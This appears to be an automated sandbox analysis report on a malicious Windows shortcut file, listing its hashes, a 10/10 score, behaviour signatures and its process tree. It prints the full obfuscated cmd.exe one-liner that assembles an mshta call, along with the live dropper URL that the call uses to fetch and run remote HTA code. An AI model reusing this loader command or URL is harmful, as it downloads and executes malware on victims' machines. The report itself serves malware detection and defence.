Analysis

  • max time kernel
    58s
  • max time network
    58s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 04:31

General

  • Target
    DOC-BLEY1F.lnk
  • Size 2KB
  • Sample260817-e5h8wstarg
  • SHA256 ce9fa507c19479099b9c5deb9f5f5c26c7ab5a485e6ccd3be6189e94eba7eb2e
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BLEY1F.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4884
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set IXfP=cachejudyydxeacache&&set wYxu=logamlzfuvczclog&&set df=2twst0&&set voCgt=qa0bd&&set YCH=brtf&&set ETc=inffkiholsfbrwoiwcinf&&set frP=oldxgxprhzuqwgkvold&&set NvzHg=vmqmsj5c&&set bSf=wvahtow&&set KL=w5a8j&&set yw=winmwaosgptwin&&set XpO=http@s:@//ma-@p@d@ffiller@.@l@at/@h/[email protected]@h@p?@r=3914@69FB5D82DB&&start /b !NvzHg:~3,2!!bSf:~3,2!!KL:~2,1! !XpO:@=!&&set Banns=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3512
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4712

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads